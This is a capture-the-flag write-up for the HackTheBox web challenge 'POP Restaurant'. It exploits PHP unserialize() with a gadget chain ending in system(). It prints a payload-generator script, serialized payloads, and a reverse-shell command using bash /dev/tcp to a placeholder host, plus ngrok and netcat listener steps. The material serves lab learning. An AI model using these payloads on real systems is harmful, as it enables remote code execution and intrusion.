POP Restaurant
Box description
"Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application."
Challenge description
In this web challenge, we’re presented with a simple food ordering system where users can register, log in, and select from three different dishes to order. Each selected dish appears in the order list:
Code Review
index.php
In the index.php
file, we see that ordering a dish involves submitting a base64-encoded serialized PHP object to order.php
.
<form action="order.php" method="POST">
<input type="hidden" name="data" value="<?php echo base64_encode(serialize(new Pizza())); ?>">
<button type="submit" class="order__button">
<img src="Static/Images/Pizza.gif" alt="Pizza">
Order Pizza
</button>
</form>
This form encodes an instance of the Pizza
class, which is then serialized and sent to order.php
. Upon receipt, order.php
decodes and unserializes the object, adding it to the list of orders.
Details
Serialization is the process of converting an object into a format that can be stored or transmitted. In PHP, the serialize()
function converts an object into a string, while unserialize()
does the reverse.
Serialized objects look like this:
O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";N;}
Vulnerable Models and Magic Methods
Pizza.php
<?php
class Pizza
{
public $price;
public $cheese;
public $size;
public function __destruct()
{
echo $this->size->what;
}
}
Spaghetti.php
<?php
class Spaghetti
{
public $sauce;
public $noodles;
public $portion;
public function __get($tomato)
{
($this->sauce)();
}
}
IceCream.php
<?php
class IceCream
{
public $flavors;
public $topping;
public function __invoke()
{
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}
Each class includes magic methods that provide unique entry points for our exploit:
__destruct()
inPizza
: Executes when the object is destroyed.__get()
inSpaghetti
: Executes when an inaccessible or undefined property is accessed.__invoke()
inIceCream
: Executes when the object is called as a function.
ArrayHelpers.php
<?php
namespace Helpers {
use \ArrayIterator;
class ArrayHelpers extends ArrayIterator
{
public $callback;
public function current()
{
$value = parent::current();
$debug = call_user_func($this->callback, $value);
return $value;
}
}
}
The ArrayHelpers
class overrides the current()
method in ArrayIterator
, invoking callback
on the current array value. This behavior allows us to execute arbitrary code by setting callback
to system
.
Exploitation
Understanding the Exploit Chain
To exploit the PHP unserialize vulnerability, we will chain the classes as follows:
- ArrayHelpers: Executes system commands via
callback
. - IceCream: Holds an
ArrayHelpers
instance in theflavors
property. - Spaghetti: Holds the
IceCream
instance in thesauce
property, triggering__get()
. - Pizza: Holds the
Spaghetti
instance in thesize
property, invoking__destruct()
when destroyed.
Constructing the Exploit
Step-by-Step Payload Creation
To execute a system command, we will serialize the Pizza
object and manipulate it with the ArrayHelpers
callback. Here’s the script to generate our payload:
// Step 1: Create ArrayHelpers object and set the callback to 'system'
$arrayHelpers = new Helpers\ArrayHelpers();
$arrayHelpers->callback = 'system';
// Step 2: Append a command to execute ('whoami' for testing)
$arrayHelpers[] = 'whoami';
// Step 3: Assign ArrayHelpers to IceCream flavors property
$iceCream = new IceCream();
$iceCream->flavors = $arrayHelpers;
// Step 4: Set IceCream instance to Spaghetti's sauce property
$spaghetti = new Spaghetti();
$spaghetti->sauce = $iceCream;
// Step 5: Assign Spaghetti object to Pizza’s size property
$pizza = new Pizza();
$pizza->size = $spaghetti;
// Step 6: Serialize and Base64 encode the Pizza object
$serializedPizza = serialize($pizza);
$base64Payload = base64_encode($serializedPizza);
echo $base64Payload;
Triggering the Payload on the Server
The server will unserialize the payload and attempt to execute whoami
. While we may not see the output directly, we can confirm command execution by creating a file or redirecting it to a reverse shell.
O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:20:"Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:2:{i:0;N;i:1;s:11:"touch hello";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}
In the docker container, we can see the hello
file created. This confirms that the command executed successfully.
Reverse Shell Exploitation
To gain full control, we’ll establish a reverse shell by redirecting output to a remote listener.
Set Up Reverse Shell Command:
phpO:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:20:"Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:2:{i:0;N;i:1;s:50:"echo 'bash -i >& /dev/tcp/your-ip/port 0>&1' > shell.sh";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}
Execute the Shell Script:
phpO:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:20:"Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:2:{i:0;N;i:1;s:13:"bash shell.sh";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}
With a listener active, we connect to the server and confirm access.
Retrieving the Flag
Once the reverse shell is established, navigate to the root directory and retrieve the flag:
www-data@pop-restaurant:/# cat pBhfMBQlu9uT_flag.txt
HTB{f4k3_fl4g_f0r_t35t1ng}
We now have the fake flag!
Note for HTB Server
Direct netcat connections to HTB IPs may not work. Use ngrok or similar tunneling tools to create a TCP tunnel to your machine and connect with netcat.
ngrok tcp 12345
nc -lnv 12345
POP Restaurant has been Pwned!
Congratulations
0bytes, best of luck in capturing flags ahead!